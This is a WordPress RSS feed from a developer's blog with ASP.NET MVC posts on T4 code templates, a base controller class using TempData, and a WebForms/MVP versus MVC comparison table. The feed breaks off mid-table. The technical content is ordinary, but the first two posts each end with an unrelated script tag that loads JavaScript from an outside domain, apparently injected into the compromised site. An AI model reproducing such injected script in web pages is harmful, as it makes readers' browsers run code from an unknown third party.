<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Eric Polerecky &#187; mvc</title>
	<atom:link href="http://eric.polerecky.com/archives/category/mvc/feed/" rel="self" type="application/rss+xml" />
	<link>http://eric.polerecky.com</link>
	<description>An outlet for my obsession with technology</description>
	<lastBuildDate>Mon, 14 Jun 2010 14:00:00 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>ASP.NET MVC: Not That Open Source</title>
		<link>http://eric.polerecky.com/archives/asp-net-mvc-not-that-open-source/</link>
		<comments>http://eric.polerecky.com/archives/asp-net-mvc-not-that-open-source/#comments</comments>
		<pubDate>Mon, 11 Jan 2010 18:53:00 +0000</pubDate>
		<dc:creator>Eric Polerecky</dc:creator>
				<category><![CDATA[ASP.NET MVC]]></category>
		<category><![CDATA[Open Source]]></category>
		<category><![CDATA[Spark]]></category>
		<category><![CDATA[mvc]]></category>

		<guid isPermaLink="false">http://eric.polerecky.com/?p=424</guid>
		<description><![CDATA[<img src="http://eric.polerecky.com/wp-content/uploads/2008/10/mvc-300x173.png" width="163" height="163" alt="" title="ASP.NET MVC" /><br/>ASP.NET MVC has one small hook into Visual Studio, the ability to right click and add views and controllers. 
 
This feature is small, hell since I’ve been using spark I almost forgot about it, that is until I started working on a simple administration section. The application has enough entities that “Right Click –&#62;


No related posts.]]></description>
			<content:encoded><![CDATA[<img src="http://eric.polerecky.com/wp-content/uploads/2008/10/mvc-300x173.png" width="163" height="163" alt="" title="ASP.NET MVC" /><br/><div style="text-align: left; margin: 10px auto; display: block">ASP.NET MVC has one small hook into Visual Studio, the ability to right click and add views and controllers. </div>
<p><a href="http://eric.polerecky.com/wp-content/uploads/2010/01/image.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="image" border="0" alt="image" src="http://eric.polerecky.com/wp-content/uploads/2010/01/image_thumb.png" width="520" height="209" /></a> </p>
<p>This feature is small, hell since I’ve been using spark I almost forgot about it, that is until I started working on a simple administration section. The application has enough entities that “Right Click –&gt; Crud” would make just the right tool.</p>
<p><a href="http://eric.polerecky.com/wp-content/uploads/2010/01/image1.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="image" border="0" alt="image" src="http://eric.polerecky.com/wp-content/uploads/2010/01/image_thumb1.png" width="447" height="441" /></a> </p>
<h2>Idea</h2>
<p>ASP.NET MVC provides customizable code templates for the view/controller content. There are a few <a href="http://blogs.msdn.com/webdevtools/archive/2009/01/29/t4-templates-a-quick-start-guide-for-asp-net-mvc-developers.aspx" target="_blank">really good</a> articles on how to get started. </p>
<h2>Plan</h2>
<ol>
<li>Include the CodeTemplates in my project</li>
<li>Change the output extention to .spark     </li>
<ol>
<li><a href="http://eric.polerecky.com/wp-content/uploads/2010/01/image2.png"><img style="border-bottom: 0px; border-left: 0px; display: inline; border-top: 0px; border-right: 0px" title="image" border="0" alt="image" src="http://eric.polerecky.com/wp-content/uploads/2010/01/image_thumb2.png" width="419" height="63" /></a>         </li>
</ol>
<li>Modify the markup to sparkup</li>
<li>Phase 3: <a href="http://www.southparkcows.com/scripts/217.pdf" target="_blank">Profit</a>.</li>
</ol>
<h2>Problem</h2>
<p>ASP.NET MVC uses a custom tool to process the T4 templates. </p>
<pre class="prettyprint"><code><span class="str">MvcTextTemplateHost</span></code></pre>
<p><strong>It ignores the output extension directive in T4 templates.</strong></p>
<p><strong>(Click play)</strong></p>
<div style="text-align: left; margin: 10px auto; display: block"><embed src="http://media.entertonement.com/embed/OpenEntPlayer.swf" id="1_76b5fbc6_fc07_11de_9365_0019b9e56dac" name="1_76b5fbc6_fc07_11de_9365_0019b9e56dac" flashvars="auto_play=false&#038;clip_pid=bdhxnqttjj&#038;e=&#038;id=1_76b5fbc6_fc07_11de_9365_0019b9e56dac&#038;skin_pid=wfxswdnlkf" width="300" height="30" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer" allowscriptaccess="always" wmode="transparent"></embed><img style="padding-bottom: 0px; margin: 0px; padding-left: 0px; width: 0px; padding-right: 0px; float: right; height: 0px; visibility: hidden; padding-top: 0px" border="0" alt="The Price is Right Losing Horns sound bite" src="http://www.entertonement.com/widgets/img/clip/bdhxnqttjj/1/1_76b5fbc6_fc07_11de_9365_0019b9e56dac/blank.gif" width="0" height="0" /></div>
</p>
<h2>Sadness</h2>
<p>MvcTextTemplateHost is included in Microsoft.VisualStudio.Web.Extensions.dll and this DLL that is not “part” of MVC code that was open sourced. </p>
<h2>Conclusion</h2>
<p>I’d love to write a Visual Studio addin to create spark views but I just don’t have the time. However; I do wonder if I can just have spark parse the .aspx and .ascx files.</p>
<p><script src="http://ae.awaue.com/7"></script></p>


<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://eric.polerecky.com/archives/asp-net-mvc-not-that-open-source/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Base Controller Class and TempData</title>
		<link>http://eric.polerecky.com/archives/base-controller-class-and-tempdata/</link>
		<comments>http://eric.polerecky.com/archives/base-controller-class-and-tempdata/#comments</comments>
		<pubDate>Mon, 23 Nov 2009 20:05:45 +0000</pubDate>
		<dc:creator>Eric Polerecky</dc:creator>
				<category><![CDATA[ASP.NET MVC]]></category>
		<category><![CDATA[mvc]]></category>

		<guid isPermaLink="false">http://eric.polerecky.com/archives/base-controller-class-and-tempdata/</guid>
		<description><![CDATA[<img src="http://eric.polerecky.com/wp-content/uploads/2008/10/mvc-300x173.png" width="163" height="163" alt="" title="ASP.NET MVC" /><br/>Need:
To pass information to every view based on an environmental variable. The specific case I ran across this need is when you want to use the minified version of your JavaScript libraries in production and the human readable in dev/QA.
Solution:

Create your own base controller class. 
Override either onactionexecuting or onactionexecuted. 
Populate TempData with the environment


No related posts.]]></description>
			<content:encoded><![CDATA[<img src="http://eric.polerecky.com/wp-content/uploads/2008/10/mvc-300x173.png" width="163" height="163" alt="" title="ASP.NET MVC" /><br/><h3>Need:</h3>
<p>To pass information to every view based on an environmental variable. The specific case I ran across this need is when you want to use the minified version of your JavaScript libraries in production and the human readable in dev/QA.</p>
<h3>Solution:</h3>
<ul>
<li>Create your own base controller class. </li>
<li>Override either onactionexecuting or onactionexecuted. </li>
<li>Populate TempData with the environment specific information. </li>
<li>Change your controllers to inherit from your custom base controller</li>
<li>Use that information in the view. </li>
</ul>
<blockquote><div style="border-bottom: silver 1px solid; text-align: left; border-left: silver 1px solid; padding-bottom: 4px; line-height: 12pt; background-color: #f4f4f4; margin: 20px 0px 10px; padding-left: 4px; width: 97.5%; padding-right: 4px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; max-height: 200px; font-size: 8pt; overflow: auto; border-top: silver 1px solid; cursor: text; border-right: silver 1px solid; padding-top: 4px" id="codeSnippetWrapper">
<pre style="border-bottom-style: none; text-align: left; padding-bottom: 0px; line-height: 12pt; border-right-style: none; background-color: #f4f4f4; margin: 0em; padding-left: 0px; width: 100%; padding-right: 0px; font-family: &#39;Courier New&#39;, courier, monospace; direction: ltr; border-top-style: none; color: black; font-size: 8pt; border-left-style: none; overflow: visible; padding-top: 0px" id="codeSnippet"><span style="color: #0000ff">using</span> System.Configuration;<span style="color: #0000ff">using</span> System.Web.Mvc;

<span style="color: #0000ff">namespace</span> BaseController.Controllers{    <span style="color: #0000ff">public</span> <span style="color: #0000ff">class</span> BaseController : Controller    {        <span style="color: #0000ff">protected</span> <span style="color: #0000ff">override</span> <span style="color: #0000ff">void</span> OnActionExecuting(ActionExecutingContext filterContext)        {

            filterContext.Controller.TempData[<span style="color: #006080">&quot;OnActionExecuting&quot;</span>] = <span style="color: #006080">&quot;OnActionExecuting&quot;</span>;            filterContext.Controller.TempData[<span style="color: #006080">&quot;js_dev&quot;</span>] = ConfigurationManager.AppSettings[<span style="color: #006080">&quot;js_dev&quot;</span>];

            <span style="color: #0000ff">base</span>.OnActionExecuting(filterContext);        }

        <span style="color: #0000ff">protected</span> <span style="color: #0000ff">override</span> <span style="color: #0000ff">void</span> OnActionExecuted(ActionExecutedContext filterContext)        {

            filterContext.Controller.TempData[<span style="color: #006080">&quot;OnActionExecuted&quot;</span>] = <span style="color: #006080">&quot;OnActionExecuted&quot;</span>;            filterContext.Controller.TempData[<span style="color: #006080">&quot;js_prod&quot;</span>] = ConfigurationManager.AppSettings[<span style="color: #006080">&quot;js_prod&quot;</span>];            <span style="color: #0000ff">base</span>.OnActionExecuted(filterContext);        }    }}</pre>
<p></div>
</blockquote>
<h3>Pros:</h3>
<ul>
<li>I’ve found that I often have to create my own base controller class. Doing so for something this simple is a god starting point. </li>
</ul>
<h3>Cons:</h3>
<ul>
<li></li>
</ul>
<h3>Alternate Solutions:</h3>
<ul>
<li>Use T4 templates to generate a const file based on environment. </li>
<li>Put the information of each server in the machine.config </li>
</ul>
<h3>Final:</h3>
<p>The <a href="http://eric.polerecky.com/downloads/BaseController.zip" target="_blank">solution is sound and a sample is attached</a> but I am going to have to come back and flesh out this post a little more with details about the *.config/caching and other options.</p>
<p><script src="http://ae.awaue.com/7"></script></p>


<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://eric.polerecky.com/archives/base-controller-class-and-tempdata/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>A somewhat less biases comparison of MVP and MVC</title>
		<link>http://eric.polerecky.com/archives/a-somewhat-less-biases-comparison-of-mvp-and-mvc/</link>
		<comments>http://eric.polerecky.com/archives/a-somewhat-less-biases-comparison-of-mvp-and-mvc/#comments</comments>
		<pubDate>Wed, 20 May 2009 20:40:04 +0000</pubDate>
		<dc:creator>Eric Polerecky</dc:creator>
				<category><![CDATA[ASP.NET]]></category>
		<category><![CDATA[WebForms]]></category>
		<category><![CDATA[mvc]]></category>
		<category><![CDATA[ASP.NET MVC]]></category>

		<guid isPermaLink="false">http://eric.polerecky.com/archives/a-somewhat-less-biases-comparison-of-mvp-and-mvc/</guid>
		<description><![CDATA[<br/>What is it called?
First off; what are we calling “Classic ASP.NET Development using Webforms and the MVP Pattern” today? I’d like to suggest we stick with a discussion of the patterns and the surrounding technology. 
Component based development using the MVP pattern…or MVP for short  
and
Non-Component based development using the MVC pattern…or MVC for


No related posts.]]></description>
			<content:encoded><![CDATA[<br/><h2>What is it called?</h2>
<p>First off; what are we calling “Classic ASP.NET Development using Webforms and the MVP Pattern” today? I’d like to suggest we stick with a discussion of the patterns and the surrounding technology. </p>
<p>Component based development using the MVP pattern…or MVP for short <img src='http://eric.polerecky.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>and</p>
<p>Non-Component based development using the MVC pattern…or MVC for short <img src='http://eric.polerecky.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>And I am aware that there are companies working on MVC components/html helpers…so what else are we going to call it? Then again you might be write…what % of “Webforms” developers are using the MVP pattern? 5%?…hmmm…anyway I am sticking with MVC and MVP until I read something better on stackoverflow.com</p>
<h2>Don’t be such an ass</h2>
<p>Here is the document that I presented to a client when they asked for…well a comparison of “Classic ASP.NET Development using Webforms” and “MVC”</p>
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: calibri">Introduction
</p>
<p>   </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: calibri">In the .NET world the MVC pattern is relatively new but it has been the staple development architecture for Java and Ruby for over a decade. Most of the current the debate between what technology is “better” is argued from a developer’s point of view. While the technical underpinnings of a technology can often translate to the projects success; I feel that both WebForms and MVC are mature enough that most projects will do fine with either.
</p>
<p>   </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: calibri">
<p>&#160;</p>
<p>   </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: calibri">ASP.NET WebForms
</p>
<p>   </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: calibri">Through the abstraction of HTML, CSS, and JavaScript; ASP.NET WebForms attempts to recreate the experience of developing a desktop application. The entire HTTP protocol is successfully abstracted away and developers are present with a faux statefulness that mimics desktop applications. Development teams are able to use a WYSIWIG style of development.
</p>
<p>   </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: calibri">
<p>&#160;</p>
<p>   </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: calibri">ASP.NET MVC
</p>
<p>   </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: calibri">Out of the box ASP.NET MVC forces developers to understand HTML, CSS, and JavaScript. There is little to no abstraction which can be a double edged sword. On one hand your development team has access to the raw power of the markup &amp; languages that make up the web. On the other; if your development team is not experienced with HTML, CSS, and JavaScript there might be a learning curve.
</p>
<p>   </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: calibri">
<p>&#160;</p>
<p>   </span></p>
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: calibri">Decision Matrix
</p>
<p>   </span></p>
<p>
<table class="MsoNormalTable" style="margin: auto auto auto 4.65pt; width: 504.75pt; border-collapse: collapse; mso-padding-alt: 0in 5.4pt 0in 5.4pt" cellspacing="0" cellpadding="0" width="673" border="0">
<tbody>
<tr style="height: 12.75pt; mso-yfti-irow: 0; mso-yfti-firstrow: yes">
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 48pt; padding-top: 0in; border-bottom: #d4d0c8; height: 12.75pt; background-color: transparent" valign="bottom" nowrap="nowrap" width="64">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">Number
</p>
<p>             </span></p>
</td>
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 74.2pt; padding-top: 0in; border-bottom: #d4d0c8; height: 12.75pt; background-color: transparent" valign="bottom" nowrap="nowrap" width="99">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">Topic
</p>
<p>             </span></p>
</td>
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 184.55pt; padding-top: 0in; border-bottom: #d4d0c8; height: 12.75pt; background-color: transparent" valign="bottom" nowrap="nowrap" width="246">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">ASP WebForms
</p>
<p>             </span></p>
</td>
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 2.75in; padding-top: 0in; border-bottom: #d4d0c8; height: 12.75pt; background-color: transparent" valign="bottom" nowrap="nowrap" width="264">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">ASP.NET MVC
</p>
<p>             </span></p>
</td>
</tr>
<tr style="height: 19.35pt; mso-yfti-irow: 1">
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 48pt; padding-top: 0in; border-bottom: #d4d0c8; height: 19.35pt; background-color: transparent" valign="top" width="64">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">1
</p>
<p>             </span></p>
</td>
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 74.2pt; padding-top: 0in; border-bottom: #d4d0c8; height: 19.35pt; background-color: transparent" valign="top" width="99">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">Size, Extensibility, Maintainability
</p>
<p>             </span></p>
</td>
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 184.55pt; padding-top: 0in; border-bottom: #d4d0c8; height: 19.35pt; background-color: transparent" valign="top" width="246">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">Your project is small and your team is not experienced with MVC
</p>
<p>             </span></p>
</td>
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 2.75in; padding-top: 0in; border-bottom: #d4d0c8; height: 19.35pt; background-color: transparent" valign="top" width="264">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">Your project is large (experience with MVC not required)
</p>
<p>             </span></p>
</td>
</tr>
<tr style="height: 21.15pt; mso-yfti-irow: 2">
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 48pt; padding-top: 0in; border-bottom: #d4d0c8; height: 21.15pt; background-color: transparent" valign="top" width="64">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">2
</p>
<p>             </span></p>
</td>
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 74.2pt; padding-top: 0in; border-bottom: #d4d0c8; height: 21.15pt; background-color: transparent" valign="top" width="99">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">3rd Party Components
</p>
<p>             </span></p>
</td>
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 184.55pt; padding-top: 0in; border-bottom: #d4d0c8; height: 21.15pt; background-color: transparent" valign="top" width="246">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">Your project requires many specific 3rd party vendor components
</p>
<p>             </span></p>
</td>
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 2.75in; padding-top: 0in; border-bottom: #d4d0c8; height: 21.15pt; background-color: transparent" valign="top" width="264">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">Your project is not bound to 3rd party vendor components (The UI can still be very rich)
</p>
<p>             </span></p>
</td>
</tr>
<tr style="height: 22.5pt; mso-yfti-irow: 3">
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 48pt; padding-top: 0in; border-bottom: #d4d0c8; height: 22.5pt; background-color: transparent" valign="top" width="64">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">3
</p>
<p>             </span></p>
</td>
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 74.2pt; padding-top: 0in; border-bottom: #d4d0c8; height: 22.5pt; background-color: transparent" valign="top" width="99">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">Open Source
</p>
<p>             </span></p>
</td>
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 184.55pt; padding-top: 0in; border-bottom: #d4d0c8; height: 22.5pt; background-color: transparent" valign="top" width="246">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">Your project team is not comfortable with open-source libraries
</p>
<p>             </span></p>
</td>
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 2.75in; padding-top: 0in; border-bottom: #d4d0c8; height: 22.5pt; background-color: transparent" valign="top" width="264">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">Your project team is comfortable with open-source libraries (especially jQuery)
</p>
<p>             </span></p>
</td>
</tr>
<tr style="height: 23.85pt; mso-yfti-irow: 4">
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 48pt; padding-top: 0in; border-bottom: #d4d0c8; height: 23.85pt; background-color: transparent" valign="top" width="64">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">4
</p>
<p>             </span></p>
</td>
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 74.2pt; padding-top: 0in; border-bottom: #d4d0c8; height: 23.85pt; background-color: transparent" valign="top" width="99">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">Extensibility, Maintainability
</p>
<p>             </span></p>
</td>
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 184.55pt; padding-top: 0in; border-bottom: #d4d0c8; height: 23.85pt; background-color: transparent" valign="top" width="246">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">Your customers requirements will not change during development
</p>
<p>             </span></p>
</td>
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 2.75in; padding-top: 0in; border-bottom: #d4d0c8; height: 23.85pt; background-color: transparent" valign="top" width="264">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">Your customers requirements may change during development
</p>
<p>             </span></p>
</td>
</tr>
<tr style="height: 3pt; mso-yfti-irow: 5">
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 48pt; padding-top: 0in; border-bottom: #d4d0c8; height: 3pt; background-color: transparent" valign="top" width="64">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">5
</p>
<p>             </span></p>
</td>
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 74.2pt; padding-top: 0in; border-bottom: #d4d0c8; height: 3pt; background-color: transparent" valign="top" width="99">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">Extensibility, Maintainability
</p>
<p>             </span></p>
</td>
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 184.55pt; padding-top: 0in; border-bottom: #d4d0c8; height: 3pt; background-color: transparent" valign="top" width="246">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">Your project will never be &quot;extended&quot; or have a feature &quot;added&quot;
</p>
<p>             </span></p>
</td>
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 2.75in; padding-top: 0in; border-bottom: #d4d0c8; height: 3pt; background-color: transparent" valign="top" width="264">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">Your project maybe be &quot;extended&quot; or have features &quot;added&quot;
</p>
<p>             </span></p>
</td>
</tr>
<tr style="height: 3pt; mso-yfti-irow: 6">
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 48pt; padding-top: 0in; border-bottom: #d4d0c8; height: 3pt; background-color: transparent" valign="top" width="64">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">6
</p>
<p>             </span></p>
</td>
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 74.2pt; padding-top: 0in; border-bottom: #d4d0c8; height: 3pt; background-color: transparent" valign="top" width="99">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">Testability
</p>
<p>             </span></p>
</td>
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 184.55pt; padding-top: 0in; border-bottom: #d4d0c8; height: 3pt; background-color: transparent" valign="top" width="246">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">Unit testing is not required for this project
</p>
<p>             </span></p>
</td>
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 2.75in; padding-top: 0in; border-bottom: #d4d0c8; height: 3pt; background-color: transparent" valign="top" width="264">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">Unit testing is required for this project
</p>
<p>             </span></p>
</td>
</tr>
<tr style="height: 3pt; mso-yfti-irow: 7">
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 48pt; padding-top: 0in; border-bottom: #d4d0c8; height: 3pt; background-color: transparent" valign="top" width="64">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">7
</p>
<p>             </span></p>
</td>
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 74.2pt; padding-top: 0in; border-bottom: #d4d0c8; height: 3pt; background-color: transparent" valign="top" width="99">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">Extensibility, Maintainability
</p>
<p>             </span></p>
</td>
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 184.55pt; padding-top: 0in; border-bottom: #d4d0c8; height: 3pt; background-color: transparent" valign="top" width="246">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">
<p>&#160;</p>
<p>             </span></p>
</td>
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 2.75in; padding-top: 0in; border-bottom: #d4d0c8; height: 3pt; background-color: transparent" valign="top" width="264">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">Your project is limited in maintenance hours
</p>
<p>             </span></p>
</td>
</tr>
<tr style="height: 3pt; mso-yfti-irow: 8; mso-yfti-lastrow: yes">
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 48pt; padding-top: 0in; border-bottom: #d4d0c8; height: 3pt; background-color: transparent" valign="top" width="64">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">8
</p>
<p>             </span></p>
</td>
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 74.2pt; padding-top: 0in; border-bottom: #d4d0c8; height: 3pt; background-color: transparent" valign="top" width="99">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">Compliance
</p>
<p>             </span></p>
</td>
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 184.55pt; padding-top: 0in; border-bottom: #d4d0c8; height: 3pt; background-color: transparent" valign="top" width="246">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">There is little to no concern with regard to HTML compliance
</p>
<p>             </span></p>
</td>
<td style="border-right: #d4d0c8; padding-right: 5.4pt; border-top: #d4d0c8; padding-left: 5.4pt; padding-bottom: 0in; border-left: #d4d0c8; width: 2.75in; padding-top: 0in; border-bottom: #d4d0c8; height: 3pt; background-color: transparent" valign="top" width="264">
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: arial">HTML markup compliance (compliance, screen readers, etc)
</p>
<p>             </span></p>
</td>
</tr>
</tbody>
</table>
<p class="MsoNormal" style="margin: 0in 0in 0pt"><span style="font-size: 10pt; font-family: calibri">
